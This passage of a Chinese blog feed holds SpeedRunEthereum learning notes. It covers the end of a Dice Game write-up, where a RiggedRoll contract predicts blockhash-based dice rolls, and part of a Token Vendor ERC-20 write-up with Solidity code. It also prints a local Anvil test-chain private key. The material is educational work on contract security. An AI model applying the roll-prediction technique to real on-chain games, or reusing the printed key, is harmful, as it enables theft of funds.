id="坑-4：导入-Anvil-deployer-私钥到-MetaMask"><a href="#坑-4：导入-Anvil-deployer-私钥到-MetaMask" class="headerlink" title="坑 4：导入 Anvil deployer 私钥到 MetaMask"></a>坑 4：导入 Anvil deployer 私钥到 MetaMask</h3><p><strong>私钥</strong>（来自 <code>packages/foundry/Makefile</code> 的 <code>setup-anvil-wallet</code>）：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6</span><br></pre></td></tr></table></figure></div><p><strong>对应地址</strong>：<code>0xa0Ee66B62968fAd9D267Ae52d8a116D71f5C7F17</code>（Anvil index 9）</p><blockquote><p>⚠️ <strong>这只是本地 Anvil 测试链的私钥</strong>，<strong>永远不要</strong>在主网或存有真实资产的账户上用这个私钥！</p></blockquote><h3 id="坑-5：用-0xa0Ee-调-transferOwnership-给自己，还是失败"><a href="#坑-5：用-0xa0Ee-调-transferOwnership-给自己，还是失败" class="headerlink" title="坑 5：用 0xa0Ee 调 transferOwnership 给自己，还是失败"></a>坑 5：用 <code>0xa0Ee</code> 调 <code>transferOwnership</code> 给自己，还是失败</h3><p><strong>现象</strong>：从 deployer 调 <code>transferOwnership(0x7FB2)</code> 报错 <code>OwnableUnauthorizedAccount(0xa0Ee...)</code></p><p><strong>原因</strong>：<code>transferOwnership</code> 自己也有 <code>onlyOwner</code> 保护，必须<strong>当前 owner</strong>（也是 deployer）才能调。看起来”我给自己转”语义怪，但代码就是要 owner 才能改 owner</p><p><strong>解决</strong>：从 <code>0xa0Ee</code> 调 <code>transferOwnership(0x7FB2)</code> 是<strong>对的</strong>，错的是发起的账户不是 <code>0xa0Ee</code>（参见坑 3）</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-03-transfer-ownership-fail.png" alt="transferOwnership 失败的截图" ><figcaption>transferOwnership 失败的截图</figcaption></figure></p><h3 id="坑-6：调-riggedRoll-反复是同一个数字（如-13）"><a href="#坑-6：调-riggedRoll-反复是同一个数字（如-13）" class="headerlink" title="坑 6：调 riggedRoll 反复是同一个数字（如 13）"></a>坑 6：调 <code>riggedRoll</code> 反复是同一个数字（如 13）</h3><p><strong>现象</strong>：连点几下 <code>riggedRoll</code> Send，每次都 <code>NotWinningRoll(13)</code></p><p><strong>原因</strong>：<code>riggedRoll</code> 算的是 <code>blockhash(block.number - 1)</code>，<strong>只有新区块才变</strong>。空区块 / 同区块连点 → 输入没变 → 输出永远是 13</p><p><strong>解决</strong>（任选一）：</p><ul><li><strong>方法 1（推荐）</strong>：先点 “Roll the dice!” 输一次 → 新区块 + nonce++ → 下次 riggedRoll 就是新数</li><li><strong>方法 2</strong>：等几秒，等 Anvil 自己挖新区块</li><li><strong>方法 3</strong>：用 Debug Contracts 在 DiceGame 上调一次 <code>rollTheDice</code></li></ul><blockquote><p>看到 <code>NotWinningRoll(13)</code> <strong>不要慌</strong>——这是合约在<strong>主动放弃</strong>会输的掷骰，保护你的 0.002 ETH</p></blockquote><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-07-not-winning-roll-13.png" alt="riggedRoll 反复 NotWinningRoll(13)" ><figcaption>riggedRoll 反复 NotWinningRoll(13)</figcaption></figure></p><h3 id="坑-7：roll-7-没有-revert"><a href="#坑-7：roll-7-没有-revert" class="headerlink" title="坑 7：roll 7 没有 revert"></a>坑 7：roll 7 没有 revert</h3><p><strong>现象</strong>：用 “Roll the dice!” 按钮掷出 7（> 5），交易<strong>正常 confirm</strong> 没有 revert</p><p><strong>原因</strong>：这个按钮调的是 <code>DiceGame.rollTheDice()</code> <strong>直接调用</strong>，没有预测逻辑。输赢都正常扣钱</p><blockquote><p><strong>关键区分</strong>：</p><ul><li><strong>“Roll the dice!”</strong> → 普通玩家模式，输赢都扣钱，不 revert</li><li><strong>“Rigged Roll!”</strong> → 庄家模式，预测会输就 revert</li></ul></blockquote><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-06-roll-7-no-revert.png" alt="普通 Roll the dice 按钮掷出 7，没 revert" ><figcaption>普通 Roll the dice 按钮掷出 7，没 revert</figcaption></figure></p><h3 id="坑-8：withdraw-提完钱后-riggedRoll-报错-NotEnoughETH"><a href="#坑-8：withdraw-提完钱后-riggedRoll-报错-NotEnoughETH" class="headerlink" title="坑 8：withdraw 提完钱后 riggedRoll 报错 NotEnoughETH"></a>坑 8：<code>withdraw</code> 提完钱后 <code>riggedRoll</code> 报错 <code>NotEnoughETH</code></h3><p><strong>现象</strong>：提完 1.002 ETH 后再点 <code>riggedRoll</code> → <code>revert NotEnoughETH(0.002 ether, 0)</code></p><p><strong>原因</strong>：合约余额 = 0，没钱支付 roll 费</p><p><strong>解决</strong>：用 MetaMask Send 0.01 ETH 给 RiggedRoll 充钱再试</p><hr><h2 id="✅-成功截图：transferOwnership-withdraw-全部-Confirmed"><a href="#✅-成功截图：transferOwnership-withdraw-全部-Confirmed" class="headerlink" title="✅ 成功截图：transferOwnership + withdraw 全部 Confirmed"></a>✅ 成功截图：transferOwnership + withdraw 全部 Confirmed</h2><p><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/03-dicegame-05-success.png" ></p><ul><li>✅ <code>owner</code> 字段 = dApp 顶部的 <code>0xa0Ee...9720</code></li><li>✅ RiggedRoll Balance = <code>0.0000 ETH</code>（钱全提走）</li><li>✅ MetaMask Activity 里 <code>Withdraw</code> + <code>Transfer Ownership</code> 都 Confirmed</li></ul><hr><h2 id="🧪-测试结果"><a href="#🧪-测试结果" class="headerlink" title="🧪 测试结果"></a>🧪 测试结果</h2><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ yarn <span class="built_in">test</span></span><br><span class="line">Ran 8 tests <span class="keyword">for</span> <span class="built_in">test</span>/RiggedRoll.t.sol:RiggedRollTest</span><br><span class="line">[PASS] test_Checkpoint1_ShouldAcceptETHTransfers() (gas: 5651)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldCallRollTheDiceForWinningRoll() (gas: 66238)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldDeployContracts() (gas: 9984)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldNotCallRollTheDiceForLosingRoll() (gas: 63245)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldRevertIfBalanceLessThanRollAmount() (gas: 8653)</span><br><span class="line">[PASS] test_Checkpoint2_ShouldTransferSufficientETH() (gas: 5673)</span><br><span class="line">[PASS] test_Checkpoint3_ShouldRevertWithdrawWhenAmountExceedsBalance() (gas: 12130)</span><br><span class="line">[PASS] test_Checkpoint3_ShouldWithdrawFunds() (gas: 21062)</span><br><span class="line">Suite result: ok. 8 passed; 0 failed; 0 skipped</span><br></pre></td></tr></table></figure></div><hr><h2 id="🪞-反思-进阶思考"><a href="#🪞-反思-进阶思考" class="headerlink" title="🪞 反思 & 进阶思考"></a>🪞 反思 & 进阶思考</h2><h3 id="1-为什么-blockhash-不安全？（深度）"><a href="#1-为什么-blockhash-不安全？（深度）" class="headerlink" title="1. 为什么 blockhash 不安全？（深度）"></a>1. 为什么 <code>blockhash</code> 不安全？（深度）</h3><p>在 EVM 里：</p><ul><li><code>block.number</code> 是<strong>确定</strong>的（当前块号）</li><li><code>blockhash(block.number - 1)</code> 是<strong>最近 256 个块</strong>之一</li><li>一个区块一旦产出，<code>blockhash</code> 就<strong>永远不变</strong></li><li>在<strong>同一笔交易</strong>里，<code>block.number</code> 是定值 → <code>blockhash</code> 是定值</li></ul><p>所以<strong>任何同区块的合约都能算出</strong>你的”随机数”。这是 EVM <strong>同步性</strong>带来的根本限制。</p><h3 id="2-生产环境怎么做随机？"><a href="#2-生产环境怎么做随机？" class="headerlink" title="2. 生产环境怎么做随机？"></a>2. 生产环境怎么做随机？</h3><table><thead><tr><th>方案</th><th>原理</th><th>代表</th></tr></thead><tbody><tr><td><strong>Chainlink VRF</strong></td><td>链下 oracle 生成 + 链上验证（密码学证明）</td><td><a class="link" href="https://docs.chain.link/vrf" >chain.link/vrf<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Commit-Reveal</strong></td><td>玩家先提交 hash → 后揭示原数 → 防止同区块偷窥</td><td>Kleros 陪审员抽选</td></tr><tr><td><strong>RANDAO</strong></td><td>用验证者的 BLS 签名做种</td><td>以太坊 PoS beacon chain</td></tr><tr><td><strong>API3 QRNG</strong></td><td>量子随机数 + 链上验证</td><td>API3</td></tr></tbody></table><h3 id="3-攻击成立的边界"><a href="#3-攻击成立的边界" class="headerlink" title="3. 攻击成立的边界"></a>3. 攻击成立的边界</h3><p>RiggedRoll 的关键不是抢跑，而是在同一笔交易中先复算、后调用。只要 DiceGame 与攻击合约使用相同的 <code>blockhash</code>、目标地址和 <code>nonce</code>，预测结果就一致；新区块或 <code>nonce</code> 变化后必须重新计算。这个边界也解释了为什么失败预测会直接 revert，而不是继续支付 0.002 ETH。</p><h3 id="4-当前实现的设计边界"><a href="#4-当前实现的设计边界" class="headerlink" title="4. 当前实现的设计边界"></a>4. 当前实现的设计边界</h3><p>本次实现严格遵循挑战接口：<code>riggedRoll()</code> 使用合约已有余额支付 roll 费，<code>withdraw(address,uint256)</code> 由 <code>onlyOwner</code> 保护并支持按金额提现。没有额外加入 <code>payable</code> 入口或 <code>emergencyWithdraw</code>，避免改变题目要求的调用方式和测试接口。</p><hr><h2 id="📚-真实系统中的同类风险"><a href="#📚-真实系统中的同类风险" class="headerlink" title="📚 真实系统中的同类风险"></a>📚 真实系统中的同类风险</h2><table><thead><tr><th>场景</th><th>不安全做法</th><th>可能后果</th></tr></thead><tbody><tr><td>NFT 随机铸造</td><td>用 <code>blockhash</code>、区块号或时间戳决定稀有度</td><td>铸造结果可被模拟和选择</td></tr><tr><td>链上抽奖</td><td>用公开链上变量直接计算中奖号码</td><td>攻击合约只在中奖时参与</td></tr><tr><td>DeFi 排序敏感逻辑</td><td>把交易顺序或当前区块数据当作不可操纵输入</td><td>搜索者或区块构建者可利用排序获利</td></tr></tbody></table><blockquote><p><strong>经验法则</strong>：<strong>永远不要</strong>用任何链上数据（<code>blockhash</code>、<code>block.timestamp</code>、<code>block.prevrandao</code>、<code>difficulty</code>）做随机源。能被同区块合约算出来的东西就不是”随机”。</p></blockquote><hr><h2 id="🎯-部署与提交完成记录"><a href="#🎯-部署与提交完成记录" class="headerlink" title="🎯 部署与提交完成记录"></a>🎯 部署与提交完成记录</h2><ul><li>✅ 部署到 Sepolia：<code>yarn deploy --network sepolia</code>（已上链，见上方部署信息）</li><li>✅ Vercel 部署：<code>yarn vercel --prod</code>（生产 URL: <a class="link" href="https://dicegame-ky.vercel.app)/" >https://dicegame-ky.vercel.app）<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>✅ <code>scaffold.config.ts</code> 的 <code>targetNetwork</code> 已切换为 <code>chains.sepolia</code>，线上前端连接 Sepolia</li><li>✅ 已通过 <code>yarn verify --network sepolia</code> 完成 Etherscan 源码验证</li><li>✅ 完成验证后已提交到 <a class="link" href="https://speedrunethereum.com/challenge/dice-game" >https://speedrunethereum.com/challenge/dice-game<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> 并通过</li></ul><hr><h2 id="💭-教学过程小记"><a href="#💭-教学过程小记" class="headerlink" title="💭 教学过程小记"></a>💭 教学过程小记</h2><p>这个挑战用的是 <strong>AI 引导式学习</strong>（<code>/start</code> skill 加载），流程是：</p><ol><li><strong>教 → 问 → 写代码 → 跑测试</strong> 循环</li><li>概念 checkpoint（带 <code>questions</code>）→ 先讲明白 → 回答问题 → 才开始写</li><li>代码 checkpoint（带 <code>task</code>）→ 讲清楚 → 用户写 → <code>check</code> 跑测试</li><li>进度保存在 <code>.challenge-ai/progress.json</code>，可以 <code>/start</code> 恢复</li></ol><p>这种模式比直接给答案更扎实 —— 我必须<strong>先理解概念</strong>才能继续。</p><p>按从第 0 关开始计数，Dice Game 是 Ethereum 101 的第 3 关，也是本阶段第 4 个、最后一个挑战；Tokenization、Crowdfunding、Token Vendor 与 Dice Game 均已完成。这个挑战的<strong>核心考点</strong>是「<code>blockhash</code> 不可用作随机源」+ 「<code>receive()</code> + <code>Ownable</code> 实战」+ 「<strong>怎么思考可预测性</strong>」。</p>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
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<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
<category term="合约安全" scheme="https://kylinxin.github.io/tags/%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8/"/>
<category term="链上随机数" scheme="https://kylinxin.github.io/tags/%E9%93%BE%E4%B8%8A%E9%9A%8F%E6%9C%BA%E6%95%B0/"/>
</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 02：Token Vendor</title>
<link href="https://kylinxin.github.io/2026/06/23/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AToken%20Vendor/"/>
<id>https://kylinxin.github.io/2026/06/23/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2002%EF%BC%9AToken%20Vendor/</id>
<published>2026-06-23T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>这是我的 SpeedRunEthereum 靶场个人学习笔记。第 2 关 Token Vendor 聚焦 ERC-20、固定汇率买卖、approve / transferFrom 授权、Ownable 权限控制、Sepolia 部署、Etherscan 验证和前端上线。</p></blockquote><blockquote><p><strong>Challenge</strong>: <a class="link" href="https://speedrunethereum.com/challenge/token-vendor" >speedrunethereum.com/challenge/token-vendor<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br><strong>状态</strong>: ✅ ACCEPTED（Ethereum 101 · 5/5）<br><strong>框架</strong>: Foundry<br><strong>日期</strong>: 2026/06/23<br><strong>XP</strong>: +10</p></blockquote><hr><h2 id="📋-项目总览"><a href="#📋-项目总览" class="headerlink" title="📋 项目总览"></a>📋 项目总览</h2><p>去中心化<strong>自动售货机</strong> dApp，两个合约组成：</p><ul><li><strong>YourToken</strong>：OpenZeppelin ERC-20（<code>Gold</code>/<code>GLD</code>），部署时铸造 1000 个</li><li><strong>Vendor</strong>：1 ETH = 100 GLD 的固定汇率合约，支持双向交易（买/卖）</li></ul><h3 id="真实场景"><a href="#真实场景" class="headerlink" title="真实场景"></a>真实场景</h3><p>Token Vendor 模式是**自动做市商（AMM）**的最简形态，这个模式直接对应 DeFi 的核心协议：</p><ul><li><strong>Uniswap</strong>：从固定汇率 → 恒定乘积（x·y=k）定价曲线的高级版。每天处理数十亿美元交易，无订单簿、无中介。</li><li><strong>ERC-20 approve 模式</strong>：你在这里写的 <code>approve</code> + <code>transferFrom</code> 是 <strong>DeFi 通用机制</strong>——Uniswap、Aave、Compound 全部用这个模式做合约间转账。</li><li><strong>Ownable withdraw</strong>：最简单的访问控制——只有 owner 能提 ETH。生产协议延伸为 timelock、multisig、DAO 治理。</li><li><strong>Token economics</strong>：固定供应 + Vendor 分发 = 简单代币分配机制，真实项目用 bonding curve、auction、airdrop，但核心一样。</li></ul><p><strong>关键洞察</strong>：Vendor 是 <strong>trustless</strong> 的——用户不需要信任你，他们在合约代码里<strong>验证</strong>汇率。任何人都可以审计，任何人都能交易。<strong>这是 DeFi 的基石</strong>：用透明、可审计的代码替代可信中介（银行、券商、交易所）。</p><hr><h2 id="🚀-部署信息（我的-Sepolia-上线）"><a href="#🚀-部署信息（我的-Sepolia-上线）" class="headerlink" title="🚀 部署信息（我的 Sepolia 上线）"></a>🚀 部署信息（我的 Sepolia 上线）</h2><table><thead><tr><th>项目</th><th>值</th></tr></thead><tbody><tr><td><strong>YourToken</strong></td><td><code>0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9</code></td></tr><tr><td><strong>Vendor</strong></td><td><code>0x657F8DC030c2756CFA4649695f9b8ED640f4554B</code></td></tr><tr><td><strong>Deployer（keystore <code>kylinxin</code>）</strong></td><td><code>0x6d1cd1d9f7226de5af18a7f9fd64e3aa6e81ca04</code></td></tr><tr><td><strong>Vendor Owner（前端钱包）</strong></td><td><code>0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7</code></td></tr><tr><td><strong>Vercel</strong></td><td><a class="link" href="https://token-vendor-ky.vercel.app/" >https://token-vendor-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Etherscan（YourToken）</strong></td><td><a class="link" href="https://sepolia.etherscan.io/address/0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9" >https://sepolia.etherscan.io/address/0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>Etherscan（Vendor）</strong></td><td><a class="link" href="https://sepolia.etherscan.io/address/0x657F8DC030c2756CFA4649695f9b8ED640f4554B" >https://sepolia.etherscan.io/address/0x657F8DC030c2756CFA4649695f9b8ED640f4554B<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></td></tr><tr><td><strong>部署区块</strong></td><td>11122928</td></tr><tr><td><strong>部署总费用</strong></td><td>0.00226 ETH（4 笔交易）</td></tr><tr><td><strong>网络</strong></td><td>Sepolia（chain id 11155111）</td></tr></tbody></table><h3 id="链上验证数据"><a href="#链上验证数据" class="headerlink" title="链上验证数据"></a>链上验证数据</h3><table><thead><tr><th>检查项</th><th>期望</th><th>实际</th></tr></thead><tbody><tr><td>YourToken bytecode</td><td>> 0</td><td>3573 chars ✅</td></tr><tr><td>YourToken name / symbol</td><td>“Gold” / “GLD”</td><td>✅</td></tr><tr><td>YourToken totalSupply</td><td>1000 ether</td><td>1e21 wei ✅</td></tr><tr><td>Vendor bytecode</td><td>> 0</td><td>3837 chars ✅</td></tr><tr><td>Vendor owner</td><td><code>0x7FB2...</code></td><td>✅</td></tr><tr><td>Vendor tokensPerEth</td><td>100</td><td>100 ✅</td></tr><tr><td>Vendor.yourToken 指向</td><td>YourToken 地址</td><td>✅</td></tr><tr><td>Vendor GLD 余额</td><td>1000 ether</td><td>1e21 wei ✅</td></tr></tbody></table><hr><h2 id="📜-最终合约代码"><a href="#📜-最终合约代码" class="headerlink" title="📜 最终合约代码"></a>📜 最终合约代码</h2><h3 id="YourToken-sol"><a href="#YourToken-sol" class="headerlink" title="YourToken.sol"></a><code>YourToken.sol</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity 0.8.20;</span><br><span class="line"></span><br><span class="line">import "@openzeppelin/contracts/token/ERC20/ERC20.sol";</span><br><span class="line"></span><br><span class="line">contract YourToken is ERC20 {</span><br><span class="line"> constructor() ERC20("Gold", "GLD") {</span><br><span class="line"> // 部署时一次性铸造 1000 GLD 给 deployer</span><br><span class="line"> // 1000 * 10**18 = 1e21 wei（ERC-20 默认 18 位小数）</span><br><span class="line"> _mint(msg.sender, 1000 * 10 ** 18);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="Vendor-sol"><a href="#Vendor-sol" class="headerlink" title="Vendor.sol"></a><code>Vendor.sol</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity 0.8.20;</span><br><span class="line"></span><br><span class="line">import "@openzeppelin/contracts/access/Ownable.sol";</span><br><span class="line">import "./YourToken.sol";</span><br><span class="line"></span><br><span class="line">contract Vendor is Ownable {</span><br><span class="line"> /////////////////</span><br><span class="line"> /// Errors //////</span><br><span class="line"> /////////////////</span><br><span class="line"> error InvalidEthAmount();</span><br><span class="line"> error InsufficientVendorTokenBalance(uint256 vendorBalance, uint256 requestedAmount);</span><br><span class="line"> error InvalidTokenAmount();</span><br><span class="line"> error InsufficientVendorEthBalance(uint256 vendorBalance, uint256 requestedAmount);</span><br><span class="line"> error EthTransferFailed(address to, uint256 amount);</span><br><span class="line"></span><br><span class="line"> //////////////////////</span><br><span class="line"> /// State Variables //</span><br><span class="line"> //////////////////////</span><br><span class="line"> YourToken public immutable yourToken;</span><br><span class="line"> uint256 public constant tokensPerEth = 100; // 1 ETH = 100 GLD</span><br><span class="line"></span><br><span class="line"> ////////////////</span><br><span class="line"> /// Events /////</span><br><span class="line"> ////////////////</span><br><span class="line"> event BuyTokens(address indexed buyer, uint256 amountOfETH, uint256 amountOfTokens);</span><br><span class="line"> event SellTokens(address indexed seller, uint256 amountOfTokens, uint256 amountOfETH);</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Constructor ///</span><br><span class="line"> ///////////////////</span><br><span class="line"> constructor(address tokenAddress) Ownable(msg.sender) {</span><br><span class="line"> yourToken = YourToken(tokenAddress);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ///////////////////</span><br><span class="line"> /// Functions /////</span><br><span class="line"> ///////////////////</span><br><span class="line"></span><br><span class="line"> // CP2：用 ETH 买 GLD</span><br><span class="line"> function buyTokens() external payable {</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount();</span><br><span class="line"> uint256 amountToBuy = msg.value * tokensPerEth;</span><br><span class="line"></span><br><span class="line"> uint256 vendorBalance = yourToken.balanceOf(address(this));</span><br><span class="line"> if (vendorBalance < amountToBuy) {</span><br><span class="line"> revert InsufficientVendorTokenBalance(vendorBalance, amountToBuy);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> bool sent = yourToken.transfer(msg.sender, amountToBuy);</span><br><span class="line"> require(sent, "Failed to transfer tokens");</span><br><span class="line"></span><br><span class="line"> emit BuyTokens(msg.sender, msg.value, amountToBuy);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // CP3：Owner 提取 Vendor 积累的 ETH</span><br><span class="line"> function withdraw() public onlyOwner {</span><br><span class="line"> uint256 ownerAmount = address(this).balance;</span><br><span class="line"> (bool sent, ) = owner().call{value: ownerAmount}("");</span><br><span class="line"> if (!sent) revert EthTransferFailed(owner(), ownerAmount);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // CP4：用 GLD 卖回给 Vendor 拿 ETH</span><br><span class="line"> function sellTokens(uint256 amount) public {</span><br><span class="line"> if (amount == 0) revert InvalidTokenAmount();</span><br><span class="line"></span><br><span class="line"> uint256 amountOfETH = amount / tokensPerEth; // 整数除法，向下取整</span><br><span class="line"> if (address(this).balance < amountOfETH) {</span><br><span class="line"> revert InsufficientVendorEthBalance(address(this).balance, amountOfETH);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> yourToken.transferFrom(msg.sender, address(this), amount); // 从卖家拉</span><br><span class="line"></span><br><span class="line"> (bool sent, ) = msg.sender.call{value: amountOfETH}("");</span><br><span class="line"> if (!sent) revert EthTransferFailed(msg.sender, amountOfETH);</span><br><span class="line"></span><br><span class="line"> emit SellTokens(msg.sender, amount, amountOfETH);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>测试结果</strong>：<code>yarn test</code> → <strong>14/14 PASSED</strong>（CP1: 2, CP2: 5, CP3: 3, CP4: 4）</p><hr><h2 id="🧠-核心知识点"><a href="#🧠-核心知识点" class="headerlink" title="🧠 核心知识点"></a>🧠 核心知识点</h2><h3 id="1-多种地址角色"><a href="#1-多种地址角色" class="headerlink" title="1. 多种地址角色"></a>1. 多种地址角色</h3><table><thead><tr><th>地址</th><th>类型</th><th>作用</th></tr></thead><tbody><tr><td><code>0x6d1c...ca04</code> 🟣</td><td><strong>EOA（keystore <code>kylinxin</code>）</strong></td><td>Foundry 部署合约，签 deploy 交易</td></tr><tr><td><code>0x7FB2...77f7</code> 😎</td><td><strong>EOA（MetaMask Burner Wallet）</strong></td><td>前端操作，buy/sell/withdraw</td></tr><tr><td><code>0x24ac...3ed9</code> 🎨</td><td><strong>Contract（YourToken）</strong></td><td>ERC-20 实现</td></tr><tr><td><code>0x657F...54B</code> 🏪</td><td><strong>Contract（Vendor）</strong></td><td>自动售货机逻辑</td></tr></tbody></table><p><strong>关键洞察</strong>：<code>0x7FB2...</code> 看起来是 “the wallet”，但<strong>它是 Vendor 的 owner，不是 deployer</strong>。Deployer 是 <code>0x6d1c...</code>，owner 通过 <code>transferOwnership(0x7FB2...)</code> 转过去的。</p><hr><h3 id="2-ERC-20-基础"><a href="#2-ERC-20-基础" class="headerlink" title="2. ERC-20 基础"></a>2. ERC-20 基础</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// 继承 OpenZeppelin 标准实现</span><br><span class="line">contract YourToken is ERC20 {</span><br><span class="line"> constructor() ERC20("Gold", "GLD") {</span><br><span class="line"> _mint(msg.sender, 1000 * 10 ** 18);</span><br><span class="line"> // ↑ ↑ ↑</span><br><span class="line"> // 接收者 数量 1000 GLD 转 base 单位</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>为什么 <code>10 ** 18</code>？</strong> ERC-20 默认 18 位小数（像 ETH 有 wei），所以：</p><ul><li>1 GLD = 10^18 base units（类似 1 ETH = 10^18 wei）</li><li>“1000 GLD” 在合约里其实是 <code>1000 * 10^18</code> 这个大整数</li><li>前端用 <code>formatEther()</code> 自动除以 10^18 显示成人类可读</li></ul><p><strong>如果不乘 <code>10 ** 18</code> 呢？</strong> 你会”铸造 1000 个最小单位”——人类角度看只有 <code>0.000000000000001 GLD</code>，几乎为 0。</p><hr><h3 id="3-payable-与-msg-value"><a href="#3-payable-与-msg-value" class="headerlink" title="3. payable 与 msg.value"></a>3. <code>payable</code> 与 <code>msg.value</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">function buyTokens() external payable { // payable 才能收 ETH</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount(); // 拒绝 0 ETH 